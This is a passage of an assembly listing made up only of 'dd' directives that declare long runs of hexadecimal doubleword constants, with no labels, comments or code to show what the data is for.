dd 8FA7BF90h, 1756255h, 5140377Eh, 0B08895B5h, 0D585248Bh
dd 4C2EB88Eh, 793E40ADh
dd 1240BF8h, 82064FAh, 42730CC2h, 4FA140F1h, 0A098950Ah
dd 45811201h, 8A01F044h, 5E13514Dh, 27609600h, 0E4E6A31h
dd 4BD53A9Ah, 181B0E60h, 187DE130h, 0C9304090h, 0DBCE0C1Ch
dd 31700B41h, 40065EF5h, 0BD3CACBFh, 0FA8A9480h, 1F060490h
dd 0EDFC2304h, 359B660Eh, 0ED28BC9Dh, 1E586008h, 7A2E376Eh
dd 49D31AC0h, 68010FE1h, 34081CD5h, 1614241Ch, 56FF042Fh
dd 0B55C0A44h, 0E0C00BC2h, 80C8E909h, 9B9DD368h, 2E55C12Eh
dd 8C410A63h, 794630F4h, 8BF22649h, 0FBC28979h, 53009459h
dd 206D39BBh, 0D3F7283Dh, 3CE609FCh, 0DE20687Dh, 0AE24F381h
dd 0E0AAA225h, 837063C4h, 0CA1362F7h, 29D3C44h, 19310BEEh
dd 0A2E8E6E9h, 5302CE2Ch, 0D82862B3h, 0B2645A5Bh, 0ADE9133Bh
dd 8860B25Ch, 754F080Ch, 0F102D432h, 49B81FF7h, 65806E83h
dd 3EA74325h, 46A0D1B8h, 1383548Bh, 3F417D2h, 5FF82904h
dd 0F74CC69Ah, 44D6F72Ch, 0CC73CD1Ch, 3ADA1054h, 8F5D24C9h
dd 0E64A0FEBh, 77A38FF1h, 45F4BE5h, 0EC3C3309h, 7C2FC657h
dd 7A1770FDh, 57D8E9E8h, 0EB801359h, 89B50BF3h, 0D996EDE2h
dd 0DD08BB54h, 0EE015B09h, 0A183505Dh, 0A0AFCC53h, 68127B34h
dd 9347742h, 0E6A46C2h, 0CB8B081h, 34A1EFDCh, 680EF995h
dd 65307596h, 0D5F75AB7h, 5EA69555h, 54F3DACh, 8E014549h
dd 3DF7A888h, 0F3DE4D76h, 52009A58h, 0EA806AB2h, 0DA1B8654h
dd 3E08C3FEh, 0F20F0112h, 7E9C095h, 5C3E2286h, 0A62CD32Ch
dd 5685239Ah, 194D4FB6h, 0A4396C15h, 102F8A5Fh, 9990DA07h
dd 0B9518012h, 0AE48F92Dh, 6D43314Fh, 252134E9h, 2D69EE41h
dd 533F745Ch, 0DDF06877h, 0C31603BCh, 0D1F7A7C7h, 4E69C029h
dd 0B992975Ah, 255C3D5Ch, 8063C7E9h, 6168A2C0h, 0ED697B4Bh
dd 0E913EF0Bh, 6017F147h, 0C13DFE23h, 2C730180h, 4C8285Bh
dd 439152D3h, 638A1719h, 5C4A20F2h, 690BD80h, 0BF5A6541h
dd 3E900B94h, 2BD54F41h, 0ED2B5869h, 86912262h, 9509F6B7h
dd 6894814h, 36E15233h, 5314B458h, 30AAB8B7h, 10CD2D5Dh
dd 5C963B7Ch, 0C2BCF507h, 1C852B4Eh, 77E2AD0Fh, 2116B82Fh
dd 535AD7C5h, 88FBF470h, 2D1FD2C7h, 7DFB3098h, 0F8132EE9h
dd 88C388F3h, 0F6108734h, 0B80267F8h, 4D14481Bh, 9D8EBBC1h
dd 0A4D7CC27h, 0F7424342h, 6130E2DAh, 25D03C60h, 28EF982Bh
dd 18F7835Ah, 3A9306E9h, 0E3038143h, 46F23D47h, 251EB6C1h
dd 62231377h, 790030CEh, 49C659F5h, 2630540h, 891CC009h
dd 4BD458C1h, 2B204A87h, 144C2933h, 0ABD5510h, 30B3E909h
dd 60FF19E6h, 0D48A0D10h, 98E9503Dh, 2D00DFB4h, 1F3B2E91h
dd 52D01429h, 0CC5108BAh, 50CE5CEAh, 20B5B555h, 0CA370510h
dd 623FF6DBh, 0F82116E7h, 6A8284h, 0EF81DF01h, 0BE221764h
dd 0E83C1D51h, 51BB6B84h, 0ECCA3242h, 7B9AF2CCh, 59636816h
dd 37A0E08Dh, 0CC90A0h, 511717Dh, 9A70C8BEh, 76E9330Ch
dd 5D582238h, 0E9F1CF59h, 0DE132B6Ah, 6284AD09h, 0D68A6356h
dd 0A8989803h, 54F98884h, 99AA352h, 5D6B080Bh, 96929788h
dd 51EF8B5Eh, 35442EE0h, 6FE2D889h, 0A512413Bh, 0DBBBF54Fh
dd 2E708411h, 3215A848h, 2912BA10h, 7D47B220h, 0BC1085Bh
dd 4ACDEF7h, 43E20064h, 0F52996BCh, 78E5E915h, 3AF17683h
dd 0B4770644h, 539FEBECh, 594649A6h, 78FD9280h, 0DBB642E3h
dd 28670508h, 20EB01ADh, 0E7D16034h, 9DCFE447h, 3703581Ah
dd 52A9021Eh, 8BB0C18Eh, 0ADD25AA4h, 5F62E432h, 0F448D259h
dd 98BF96ADh, 0CD839F30h, 8BAF0E65h, 251DF0Ah, 75F07021h
dd 3CC28B72h, 0CC37DA68h, 2A40C9Fh, 0F5DA1087h, 205E6400h
dd 8959CB01h, 96E912DEh, 819A347Bh, 485AFEF2h, 916EAE6h
dd 0BC09F148h, 0DD0A00C2h, 904A1933h, 0A1EB04ECh, 0C0FA7F1Bh
dd 0A9480ED7h, 0C6E93E1Dh, 76390A0h, 0C8391E51h, 0E1FACC89h
dd 0DF6AD70Fh, 1AA71C34h, 57D20244h, 0D95C07C0h, 0A020195Ah
dd 57C2C1B3h, 79297A79h, 40285CCDh, 14B55A0Bh, 915C5B75h
dd 3F8821E2h, 778FFF27h, 43BA0081h, 0FE700AD5h, 0F28103DAh
dd 8F30456h, 23E80C00h, 0E2C1026Fh, 0D784D605h, 0CA4583h
dd 662BC2D6h, 95BCA4C4h, 0E9DA053Eh, 82582FE8h, 3F527E86h
dd 0D66B3A87h, 79E4CD02h, 5058D49Ah, 0CB529409h, 5B1F0962h
dd 27138898h, 9E6F1427h, 0D5E96250h, 0B3F4E3D2h, 5163EABEh
dd 0A9E39C54h, 50D1011Ah, 0A05E6056h, 266A3E44h, 1E614D16h
dd 8CA26401h, 5F0BD7F7h, 260C17Dh, 0BA656C96h, 0F9013E2Ch
dd 0C54FE916h, 0F6890119h, 2021CE69h, 7F3D6C12h, 0CD1FF65Fh
dd 7CD76AD2h, 0B6F0BC12h, 7ED935F5h, 37D50B14h, 7EAB2CD1h
dd 50166123h, 2CB28D04h, 0B884FAE8h, 0E0D10756h, 51E38B81h
dd 0B95B9751h, 58C28800h, 17B8073h, 0AE35662Fh, 1469C8CCh
dd 1AD6A0B9h, 0E1A4F981h, 0FC6284F7h, 27B2A7B0h, 4DED517Eh
dd 0C087003Ah, 32043F51h, 0D54765BFh, 31FDC481h, 2520A806h
dd 0CEFE3C2Dh, 5DBB8012h, 0DEF64D1Fh, 66684204h, 94A35E05h
dd 4B74247Ch, 53EF6FB3h, 580F8BAh, 4EDC2A70h, 43016390h
dd 0E9086628h, 743E557Eh, 0A409A876h, 58873CB8h, 2B71EB8Fh
dd 0B8DB642h, 0FF653D59h, 0ED15E9BDh, 5F93EA57h, 543C0857h
dd 80C4AF3Ah, 2E27BB44h, 0F75517AAh, 3260BD3h, 4B192F80h
dd 4A981EFDh, 32E0F305h, 0CFAC5FF2h, 2368664h, 79446468h
dd 40AAA43Dh, 6602AC05h, 0C8294516h, 4476390Bh, 8CE2946Eh
dd 0EA3F51B5h, 0B3D8F3A2h, 0C4C52932h, 0F07E4DEh, 0B69BBEEh
dd 1F29D169h, 0D97F2E50h, 0E81F4EF4h, 0B4CBCF9Dh, 31047A24h
dd 0F4A5627Dh, 0CC286B1Dh, 6E74E1E9h, 0F0DE9888h, 9DEBA87Ah
dd 600EFEC3h, 0BE5680B1h, 0A82C2AD2h, 0D928890Dh, 0D672501Eh
dd 8D1DE984h, 0AC4E9ACh, 0EE4C1F53h, 1BD40B0h, 5C510DF5h
dd 0F402E5C1h, 0A7D278D2h, 3693FF00h, 0BBA41E4h, 3344EC10h
dd 0F8C05970h, 4D932F13h, 0EAD16829h, 0E5A1808h, 12262792h
dd 0A7A86E69h, 0CC33219Eh, 0DF65504Dh, 2E090513h, 0B4F03195h
dd 0A0BDD550h, 3BEFEB2Bh, 0A4144967h, 0C3C7C7D6h, 8095DC35h
dd 182EA647h, 0A4825D4Bh, 48088BEBh, 0C0142960h, 46C468D9h
dd 5A0037B0h, 0D4BFF2B8h, 0E62C2D05h, 1411EBCh, 0B00728D0h
dd 6D24203Ch, 14270B90h, 2089E633h, 15981BECh, 0F71FA309h
dd 20F88578h, 5A8B69E0h, 0E2215602h, 4814207Dh, 282A8850h
dd 9660BEC6h, 0D6820B5Ch, 0B7540668h, 56F22181h, 5A142F44h
dd 0D798F393h, 9DD9A2B6h, 7CF21020h, 895C3882h, 10DB1093h
dd 31EB0500h, 0D0F7B135h, 40E8D10Fh, 53936148h, 0F7BE2DDh
dd 0E9C4214Ah, 8780919Ah, 0D2FF35FBh, 65CFFA86h, 7CF3C501h
dd 0E8893EEDh, 69E9A989h, 0ECC0C620h, 501F5205h, 0F9097EB0h
dd 0A9452226h, 0B2C30FAFh, 0BC300895h, 80430E66h, 0F5BB70EFh
dd 0D6D6C7D5h, 0B353C1DBh, 5EF3F40Ah, 0E9D8280Bh, 66ECA3C5h
dd 0D84BBA51h, 64B33829h, 0E198DD3Ch, 2CC7AFC2h, 0CDF4516h
dd 164C5C01h, 6560289Eh, 9A27BF08h, 0FCD869E9h, 0A37230B4h
dd 0E3FDF6Ch, 17F2BE25h, 51EE8181h, 9C54E69Ah, 32C0B813h
dd 791C6F21h, 0F52F6B5Dh, 62C2BC48h, 35B56B16h, 8AEA0AC2h
dd 0A102C208h, 7606E62Dh, 792484h, 58BF62C7h, 7E904B43h
dd 0F62446EAh, 53A8CE56h, 4737FF25h, 8972248Ch, 75F9C331h
dd 22B6662h, 0E0E22959h
dd 52D69042h, 842FC99Ah, 5EF05C6Fh, 49FA945Fh, 64D31899h
dd 0AE48BB82h, 2CEA8141h, 0F6D83B0Ah, 0BC4C145Ch, 0B0019537h
dd 0E9149A35h, 5EA62C23h, 0B10025C9h, 298CEBFh, 0F929E003h
dd 7BCB46E9h, 2D5AD0B8h, 0C78A202h, 0D3895E14h, 5F011671h
dd 76E94C57h, 0EB50C18Bh, 5009F3B9h, 842D7496h, 6DB83FCCh
dd 1F5768C0h, 590E1C94h, 4C05E9C1h, 0F14DDBD6h, 123D1BE5h
dd 6A7E7000h, 5DEF2183h, 0EB4CCF3h, 5E63F72Eh, 7A912F13h
dd 10050FC7h, 885E508Ch, 0A6BDD385h, 0A0A92213h, 82DD0113h
dd 46A78F73h, 4C294606h, 44338074h, 523122AAh, 112DDFCFh
dd 30FFF9C3h, 41065774h, 315F2DB8h, 96E1B240h, 586CA033h
dd 0D2046087h, 0BCC1A7E9h, 5456C5FAh, 0DFEDA805h, 99E21A8h
dd 8390695Ah, 0DD487503h, 9DC10009h, 21AD66C6h, 0CCE925CBh
dd 0A4BEC104h, 0C0D389AAh, 4910CFA6h, 25154C80h, 0C555429Fh
dd 7267AF4Ah, 2A13E7A6h, 4DD66990h, 0C36B4B3Ch, 0CD73EB4Dh
dd 0CE26E3ECh, 0E904E27Fh, 29092196h, 60575D91h, 5B813DD2h
dd 0F2EE046Bh, 8B0AF819h, 7650E220h, 0B6C0C0Ah, 0A1C0EABFh
dd 0B44DD5F7h, 1339B007h, 96C187Ch, 42903BE1h, 0C6127AF7h
dd 0F916443Eh, 0F3D9FDC9h, 5C5F2292h, 0B747D611h, 0C0D011BFh
dd 69581110h, 4BE556DEh, 680E0761h, 0E1B417DFh, 0E630CE03h
dd 0F2CE9B58h, 59ADA438h, 440E2880h, 9B124CBAh, 90B9D129h
dd 0E61C4A83h, 16C444E7h, 0CC314B68h, 0F6019B3h, 0C66E589h
dd 830E58CDh, 0B0EFE645h, 58B152B2h, 1B256331h, 0C7164FC8h
dd 61C2A6BCh, 0CD2D9032h, 850F8052h, 0EDEB1127h, 0D3FA28EFh
dd 167F8E2Ah, 0B55564E9h, 40C6569Bh, 4A1F309Fh, 0C2E776F9h
dd 0E90802C5h, 3DC75088h, 4ED5EA68h, 19115FE0h, 0D5A0170h
dd 0C958DB71h, 0FFC834F3h, 213D23B3h, 4AA430FDh, 0D48084D5h
dd 65038082h, 3E7C198Ch, 0F6D478E9h, 90074E9Fh, 0C1D82EAh
dd 0F6583D26h, 0AD46472Dh, 5C5F1AE6h, 884A2FCBh, 1D4068ECh
dd 0F0F9D5Eh, 9073C424h, 0E0C1D861h, 3A50548h, 0EDDBFB67h
dd 5E5BDA31h, 1CE90B53h, 0AC046E29h, 0ECB38602h, 0C059A04h
dd 63C0834Eh, 0FBD5549h, 1A5AFFD5h, 0A8FABD1Eh, 0F7D328A9h
dd 2529872Bh, 0F311C748h, 832D2B6Eh, 68DE90D9h, 8C154FA0h
dd 4E04F8BEh, 0CBE93269h, 8FA06795h, 60CE4135h, 0E1D2D403h
dd 47F4CE01h, 95EC1523h, 8217DD39h, 2772EBF7h, 56A78160h
dd 5E3A3D26h, 4EA6300h, 4983E934h, 0C6003BC3h, 5AF12062h
dd 6AC8C9FEh, 0B20C2FB1h, 4B1F804Eh, 729609B2h, 60B8C241h
dd 0FA89D406h, 7712D996h, 7A4F6FA2h, 2402C509h, 525AC9FAh
dd 40284124h, 2135E069h, 0BC1E20Ah, 525707EDh, 12D46100h
dd 889111Eh, 4AF2D080h, 0CA895B37h, 0E4A5F4A0h, 3122A69Dh
dd 4092B0C9h, 5E2E59AAh, 6D0BAB21h, 0CF40C982h, 0CAAC67E0h
dd 0F65E22h, 79E56337h, 290EC981h, 0C07BE60Bh, 0CF03D6F1h
dd 647FB060h, 0F44EF78Ah, 744012C6h, 1E9A4B68h, 5BAA8C9Ah
dd 0D777F60Ah, 1916FE32h, 25F3563Fh, 73686483h, 0EF31BBECh
dd 0F701F49Ch, 0DD9A40D3h, 6FB0EA2Dh, 6018311h, 31EACC4Ah
dd 77044B40h, 585B27D5h, 21C67F1Ah, 0B16FD499h, 34AA4E16h
dd 0B6C74080h, 51C72C23h, 1CABB52Eh, 50581F18h, 20969054h
dd 0BF04878Eh, 41857CC7h, 400F4A80h, 0C606015h, 75D5FDB1h
dd 0F1075E98h, 121E10Bh, 83588ABh, 0A26D5F1Ch, 590F08E4h
dd 6D8A89F0h, 276C7856h, 0C15C40B0h, 3C02E72Ch, 0F64C4003h
dd 4B740569h, 0E0BC552Eh, 0CA0108B9h, 0E948EC0Bh, 2F4829C6h
dd 44CB272h, 3F791768h, 3629AB6Dh, 779232Ch, 58E962F5h
dd 75F332F0h, 79F4A56h, 7A1A1DCCh, 0E6DB3AD5h, 0CD4CE90Bh
dd 0BEE8CFA4h, 20311504h, 0AD54891Fh, 0A15D3725h, 0B4DDFCA7h
dd 0B8508C01h, 4A2F1122h, 802066Ah, 4ABA2CE5h, 0DE6934F2h
dd 1225583Fh, 44649E84h, 8C3E0A3Dh, 0FCF353A6h, 1B98A44Fh
dd 0B080B64Fh, 242FCCBBh, 3D2155B8h, 5CCD7A01h, 0E2868A0Fh
dd 3C707A7Eh, 0C1FC8372h, 62A9394Dh, 3C505970h, 0BF9CCE30h
dd 5CCE4E31h, 462D07Fh, 0EDB9870Fh, 8AE347ECh, 2A5256C9h
dd 5C25789Bh, 290E366h, 0AA6E2101h, 7F40E917h, 63EFC35h
dd 0E4EBD153h, 7351821Dh, 0D1D801CBh, 0F8CD276h, 520253ABh
dd 0EE8002B6h, 0C38EE0B5h, 0E6C0806Eh, 88070360h, 2CDE8BC4h
dd 1387D187h, 273FE729h, 1728C8D3h, 4B9796C9h, 0C1318860h
dd 10F6584Ch, 0BC60DF57h, 152F0EE6h, 0A7DA093Eh, 0B799C132h
dd 41863220h, 4C72AC1h, 613024FFh, 0CD814D03h, 7F3924E0h
dd 603FBE90h, 646E246Ah, 9A995B00h, 0B2B3E9EDh, 1354B1D4h
dd 82446708h, 0E57906D2h, 24C1E54Bh, 6D6C06DBh, 0ED0962CFh
dd 608914A7h, 484BD728h, 8E2F1C5Fh, 937B8B42h, 5F330027h
dd 0B0494CEAh, 0D04D290h, 3217A6B8h, 0AB5812E3h, 4A61BED0h
dd 2EDC7B35h, 0ACBD5021h, 7E56CC90h, 1A027204h, 2CC1E1C1h
dd 0DF2D6288h, 4FC80179h, 0B7E97079h, 4AA86214h, 6F813D94h
dd 1054261h, 6C2E8AF3h, 25B5ED3Bh, 94C47D66h, 25448475h
dd 0F5568909h, 2C60C708h, 98F0038h, 0F387134Fh, 0FD6F72Ah
dd 6D986812h, 0F52595F3h, 4FABAA0Fh, 0ED54F941h, 5971AC50h
dd 0BA33963Bh, 0F9C1E241h, 4342CF88h, 90B678E7h, 0F7032F5Eh
dd 18BA3280h, 0CBA05B91h, 7257BB1h, 0E3048232h, 4DC4DE7Dh
dd 0E8162A40h, 59F46118h, 0C621CA26h, 433303BFh, 0EEB06CBFh
dd 85375C38h, 150184Eh, 25683955h, 791950E0h, 7E5B3531h
dd 0C0B56F37h, 0F429A1A1h, 8AE15F73h, 0D7B44ACAh, 0E793268h
dd 0BCF8B83Bh, 7190B91Fh, 7DF51AD6h, 9DB56CCh, 6497E978h
dd 96B576E6h, 0BB92BDCBh, 6C71F300h, 0E9260529h, 318997C1h
dd 0AF9AD9FEh, 7EE95B60h, 8629385Eh, 0F8886682h, 0E1CA3AE9h
dd 0E32535F6h, 0BF62D928h, 0B24B8126h, 0DC5AC5F2h, 583EC4B4h
dd 2583136h, 74532707h, 0C4CB1429h, 4B081A0Dh, 0F37C7F42h
dd 5955520Bh, 0A8B883B2h, 0D62EF13Fh, 5D8552C0h, 77E21C87h
dd 4137884h, 20F85E5Bh, 0B8C5228h, 6B5762Eh, 4E10F789h
dd 8C0497F2h, 0D78947F7h, 0CB4CAEB3h, 120F031Fh, 91A9C455h
dd 2C6CE9F6h, 4B5F18F2h, 0F3CFEC4h, 0D9010D41h, 55082EBh
dd 5B974848h, 7641D589h, 0FD5117FAh, 3662EFCAh, 56BE3098h
dd 5D7EA32Ch, 10DBA18h, 93F998DDh, 445A757h, 19BA962Fh
dd 6BB4BCE9h, 8671D8C5h, 0D31167Bh, 8EBD55Bh, 65876EBFh
dd 0F557021Ah, 0D484A1A7h, 2192A5A6h, 2974FE82h, 4D6D6886h
dd 268825CBh, 0B73DA044h, 77927C7h, 80F0B6D1h, 0E6FEC3C6h
dd 0CE8D1A0Fh, 325650F0h, 10655842h, 8B1E8934h, 4DB968F8h
dd 5FB84E2h, 0A637CD57h, 0EF16531Ch, 0C8C14433h, 556C6806h
dd 2A224C41h, 0B9463C19h, 5D143E70h, 938C4ECCh, 81F3C02Dh
dd 764727CBh, 2C2C3D5Ch, 73A56828h, 0BBCB08D8h, 2C01704Ah
dd 294F2128h, 320808DAh, 79523B2Ah, 52184209h, 4A515832h
dd 0D0A41211h, 0D233825Eh, 0F85A6525h, 0D3D205Ch, 52DDF701h
dd 0DF2AFEBAh, 5AC38770h, 34F7484Bh, 1B9123Dh, 552693F7h
dd 0A1DE17BCh, 14F10192h, 237F55B3h, 53EAF7A1h, 559E6CD3h
dd 0DA4707D6h, 83C95866h, 0A72CF8F8h, 771280D2h, 7B1F27B0h
dd 5E8E2887h, 52D85D06h, 2A01CA3Dh, 0F09D016h, 5AE8538Eh
dd 86641653h, 0C66CE114h
dd 29A83A0Bh, 0A5B96FDFh, 0AE025053h, 741F372Bh, 1375836Ah
dd 6CC22C9Bh, 365C5A01h, 0CC542230h, 9B8A5110h, 2D3B6702h
dd 1D443E9h, 0F468565Ch, 3326CD15h, 440E7A5Eh, 8A0A2957h
dd 2492897h, 61E6DE5Dh, 8DACD1A8h, 0F3701877h, 0EA41B48Ah
dd 0D3B2A1ECh, 94CF336h, 1ED805Ch, 0CEE9E829h, 0E0BCAEF2h
dd 68C8310Eh, 9B1048BFh, 964785D2h, 0A4940AACh, 275A7669h
dd 8AA99147h, 690629h, 8F504DA4h, 36475C2Ah, 407E4909h
dd 0F5CF2280h, 781AF95Ch, 4104D7F7h, 9A60F152h, 0D314C7Ah
dd 35CD9F12h, 0B5FED3D6h, 4C345F5Ch, 0C868B028h, 1E0E2578h
dd 312F6D94h, 8E05C46Ch, 215EA16Ch, 68718C3Ah, 6D1D0F27h
dd 0A3921746h, 0E391588Fh, 53C14C58h, 407FE916h, 68535938h
dd 0D7C2F7Bh, 424A5B7Dh, 0A6FDBE12h, 0EBA2FBC4h, 5F74A237h
dd 0D7D18705h, 94874BF4h, 692F90B8h, 8E98355Ah, 2E613934h
dd 8A4ECBBCh, 32D65F50h, 0F7E32064h, 0FEE8198h, 49B6929Ah
dd 33CA5397h, 0FAEE40h, 0BE7D233Eh, 320F38B9h, 5F3C1EB8h
dd 39F08056h, 74292278h, 5E082424h, 6293409Dh, 1BDE6EEFh
dd 0C6C293Eh, 21811420h, 0BE7D425Eh, 28FE748h, 8CAB6FEEh
dd 0DE3E6E02h, 6029475Bh, 0B7AEC41Dh, 0F115B0A5h, 0BEB79548h
dd 0E2A04F63h, 0B0E913D5h, 82D720F4h, 5F7BBB4Ch, 17F03F20h
dd 6267D868h, 1A5A13EDh, 8625E57Fh, 686606h, 62141B4Fh
dd 0AF08382Dh, 4D67358h, 119AECEDh, 0AF58C9B2h, 2F65C589h
dd 80565709h, 0BB784720h, 60E9702Bh, 21158FC7h, 83B91ABFh
dd 5180AA16h, 77484CBEh, 252D04FCh, 0BE7B4641h, 9A8AE04h
dd 66D80B12h, 0C11D6CC4h, 810104E5h, 0B494CFEDh, 3A7205E8h
dd 1145E6Dh, 0AC00F3E8h, 0E97D061Bh, 3FC05B59h, 81EFD1DFh
dd 3D6F0BC7h, 9E409F12h, 344E8B5Dh, 0B7D324A3h, 26680A31h
dd 0EAE9E23h, 5CFDBD70h, 550B3414h, 0D80E5D59h, 407602F2h
dd 96C0821Dh, 0DFC56E92h, 9218A166h, 1846E5D2h, 0E0A7819h
dd 797CD1F5h, 5DD60865h, 688245F2h, 0FFD65C1Dh, 68291567h
dd 2D283536h, 2C1B59CAh, 0FCA7C3E1h, 0D3FE8DEBh, 0F66010DDh
dd 45429D5Ah, 0E9870B40h, 59B1964h, 2B6929FBh, 68512943h
dd 0CD154F02h, 59163A83h, 0F54B00CAh, 0B9443A84h, 0B812A0E7h
dd 1994DCE1h, 5CD72210h, 9301EF5Ah, 0F6BD47Fh, 3B22ED80h
dd 6044FD43h, 54B8AC57h, 89D98A80h, 0C517B8D1h, 0A34BAD0Ch
dd 633B68FAh, 81479C2Ch, 9E42FEF5h, 0EF0C876Dh, 1379624h
dd 5005E05Fh, 387A0D0Ah, 8A6222Dh, 1FF8120Fh, 0B32ECE8Fh
dd 3D380FB2h, 80707425h, 8415FA12h, 0C71F60E5h, 3E259909h
dd 0C176E0FEh, 0DA0548E3h, 0DF65E04h, 5BAE81CEh, 5F34412Dh
dd 4168D857h, 76925200h, 37233558h, 0A05D4FB9h, 0D70987B7h
dd 292CE94Ah, 804489E9h, 8CF29154h, 0FD0112E5h, 0EA67385Fh
dd 44312485h, 0F5014102h, 59384DE9h, 0E950CF58h, 0F83C1F3Ah
dd 82F95647h, 8C7E2931h, 0E3473416h, 9BF4EF31h, 2C0F98F0h
dd 9ED54F81h, 8350A7FEh, 4E9E844h, 59CC8831h, 96EFA851h
dd 0FE016C16h, 351F6D44h, 0D6AAB40h, 0B44A4ED3h, 14677CC8h
dd 0D175D8F3h, 0FAE8E252h, 1C00AEA4h, 0F732441Bh, 3FD7A0D1h
dd 0DD514C0Ah, 6925E300h, 90E942D3h, 8BB3C861h, 0A934C4DEh
dd 0BDFB04EDh, 0FA897E96h, 0FD5D435Dh, 49285AFEh, 334084EEh
dd 0AD06DD31h, 0BF4B6FC6h, 0E9F86520h, 3F5B60F1h, 147ADBCAh
dd 252E0E7Bh, 41888FF9h, 5C381A3h, 2C1F3251h, 4AF2D2DEh
dd 6360B6C0h, 0D30C2D4Ah, 0F8093A2Bh, 0B1B1D08h, 2434E46Bh
dd 7B591AA7h, 6AA3DD60h, 605A987Bh, 58C1F757h, 5001C2A1h
dd 3ECCFD56h, 0F85EA709h, 0EA090F87h, 0E5BD535Dh, 0FE011104h
dd 0C3B29124h, 0DA9683Fh, 25C62752h, 43295A17h, 2E030680h
dd 1561F53h, 851B9C7h, 14A09430h, 0BB523041h, 1C0DAE04h
dd 46A40475h, 0F600AAB8h, 0AB2221F0h, 5E58F701h, 0ADF7D74Eh
dd 0A3263196h, 8EFE489Eh, 0F8F051Eh, 790828C9h, 7BBF01B9h
dd 2B5BCE9Fh, 0A9918962h, 69E4D6DBh, 0A86862C0h, 358ACC9Dh
dd 1E1113FCh, 0B1571277h, 28D5007Ah, 664AE10Dh, 66B95E1h
dd 8A5A4166h, 16521320h, 303A1C68h, 4AB95136h, 5053213Eh
dd 155F9D5h, 0B3E40259h, 3EF5FB09h, 23BC6917h, 5D049137h
dd 0B897870Fh, 1E5A4191h, 47A173BAh, 0CB5D548Ah, 6179A304h
dd 3D92B9C1h, 4541933Ah, 0EC5C42C2h, 7BCEC387h, 0E15D58F3h
dd 373E2FF4h, 0AD1F92BFh, 7C0987E4h, 79302568h, 69EC299Eh
dd 6F4898CCh, 48311721h, 3F2D5E0h, 0E90103F1h, 583CE216h
dd 0C28081B2h, 6EAC0D7h, 0E9BB98DBh, 0D73BF9FEh, 0C43A72D9h
dd 0E85D3077h, 9882824Fh, 2C51EC48h, 5765E5A2h, 9C426846h
dd 0A255848Dh, 68792FADh, 9E58C691h, 0F1064E97h, 995205Ah
dd 26E54F18h, 5D9394h, 3E677B83h, 0FD7C293Ah, 40A23C5Ah
dd 0FFFC36A2h, 1C8FBB01h, 396074BCh, 0D2581213h, 0B12D0342h
dd 0A8B4DD1Ah, 0EAF3005Dh, 31475741h, 0C45B4CDFh, 4C225600h
dd 814A4249h, 7DA2F21Dh, 3CF81913h, 0FBEA1460h, 9325A180h
dd 78B7021h, 0DF7E2BE7h, 0BDEFF412h, 17BB5979h, 8B1C04F7h
dd 838E502Ch, 0C1E9E4C5h, 0F4DC11BAh, 0A8DAE9A0h, 0DDE7D7A9h
dd 0E1092E45h, 8941FC57h, 0ADA71572h, 580822D0h, 0A47635D6h
dd 0E2072046h, 574BC9B0h, 535A8522h, 0DFE9C10Ch, 3C543923h
dd 9D927E12h, 7620F9B8h, 9A5D589Ch, 0C5BC757Fh, 0B65EF1AFh
dd 4D3313B4h, 6D81BCF9h, 802AB80Eh, 42F9C9BAh, 4AEAE9DDh
dd 315AE4CCh, 1E68E040h, 0B0925D8Bh, 29F1E656h, 0E966DC09h
dd 50612339h, 360F85B8h, 6ECD5765h, 6D688E8Ah, 0C6E984A6h
dd 8B45BE0Ch, 48AD1BB6h, 21008190h, 0E943F67Ah, 0BA801C27h
dd 712316BBh, 5ED60806h, 5AC3BD01h, 0E170621Ch, 8712011Fh
dd 0E9D5F76Dh, 4A1D3CF2h, 40F662A0h, 0BB09BF38h, 0AAD44487h
dd 44AF18E7h, 0B10320E8h, 0DA6E0CC4h, 988A1016h, 57939603h
dd 3A4829CAh, 1F8F0541h, 0C0C65F95h, 114E0A22h, 1E925CD9h
dd 0F653B4h, 794DCEB6h, 0E9261BD3h, 57929AD5h, 0C5544449h
dd 948AC94h, 92713DAFh, 0B406311Bh, 4BD731AAh, 0C213FE4h
dd 800027DAh, 0C7E6FDEFh, 0CFFE0118h, 0F668110h, 2834B050h
dd 0F6B8E982h, 0D4A442F1h, 5C7D541Ah, 56180B5Ah, 2C701C03h
dd 74059F2h, 0A9999C03h, 0B016383Dh, 5499EA42h, 0E94C1763h
dd 0D802E52Ah, 5104C63Ch, 59CE8960h, 87286EE5h, 61D54E62h
dd 72C63157h, 905F1B24h, 119B0FF1h, 0D2851E55h, 1C11F4EDh
dd 5B1DA39Dh, 0DA77DA43h, 5B0E8668h, 4937A653h, 5AEB46Bh
dd 0F4CBE94Fh, 68165A15h, 0AE6220EBh, 0CA14649Dh, 0A5E46D11h
dd 0E5FC4A66h, 0E95030BEh, 0D0B64F68h, 1D0FDED0h, 7A4F7E7Bh
dd 0EFA8E612h, 6A1AF3B7h, 2CF8150Bh, 8C8882ADh, 30AC01A7h
dd 0DFC842D8h, 0E6B85D04h, 10B1098Eh, 4E629A68h, 0BB5FC13Ah
dd 1504DF60h, 0FCE7921Fh, 95627C3h, 0F9AA59F1h, 0B7F6CE3Eh
dd 0EADE01E3h, 22F7C86h, 66DD2859h, 511D7BC0h, 0E70FC692h
dd 4544BA20h, 0D0AC4F47h, 351BA881h, 7E446E3Ah, 31094928h
dd 0B2335705h, 0E3044EBBh, 4E90B9E9h, 69F7D587h, 0A0008D2h
dd 50375B3Dh, 48F0CD0h, 0EB0128A7h, 0A8D293ECh, 43A24E45h
dd 0A0666399h, 0BE25AA65h, 9E9D2299h, 8889E3ABh, 2D685BD9h
dd 7126104h, 0ED5920FEh
dd 2527E91Ch, 4C32DA62h, 0E38BD07Ch, 0EB20BC1Ch, 15D7BECFh
dd 0B928ACF4h, 0CF893E5Dh, 0C9072413h, 0A3382BCDh, 1AFD33E9h
dd 7FC9AD10h, 0D9043B20h, 6802A445h, 0F5EC36ABh, 0C333994Eh
dd 0D2B4C952h, 0A215243Ah, 0DD0B9619h, 789B565Bh, 4EBCF502h
dd 6A2D9F83h, 4995DA77h, 35795DBAh, 0A0507190h, 48F3FEE0h
dd 1E024877h, 1454F2Fh, 5489D068h, 0B963E826h, 7A75BA02h
dd 2B506052h, 982C5C50h, 5BC86810h, 44F351B4h, 88160F46h
dd 0D346F2D0h, 1F0A9D73h, 4E13EC80h, 0EEC558E7h, 4C0EFFAFh
dd 0BE9A4C6h, 0E4514B92h, 8F5931EFh, 25A52FFh, 0BD8856BFh
dd 7F544C10h, 60989A36h, 0AAA9952Fh, 0EE5E5931h, 0E922600Bh
dd 0AC40401Fh, 4C142C38h, 0B1B52A00h, 0B622534Ch, 4AE72037h
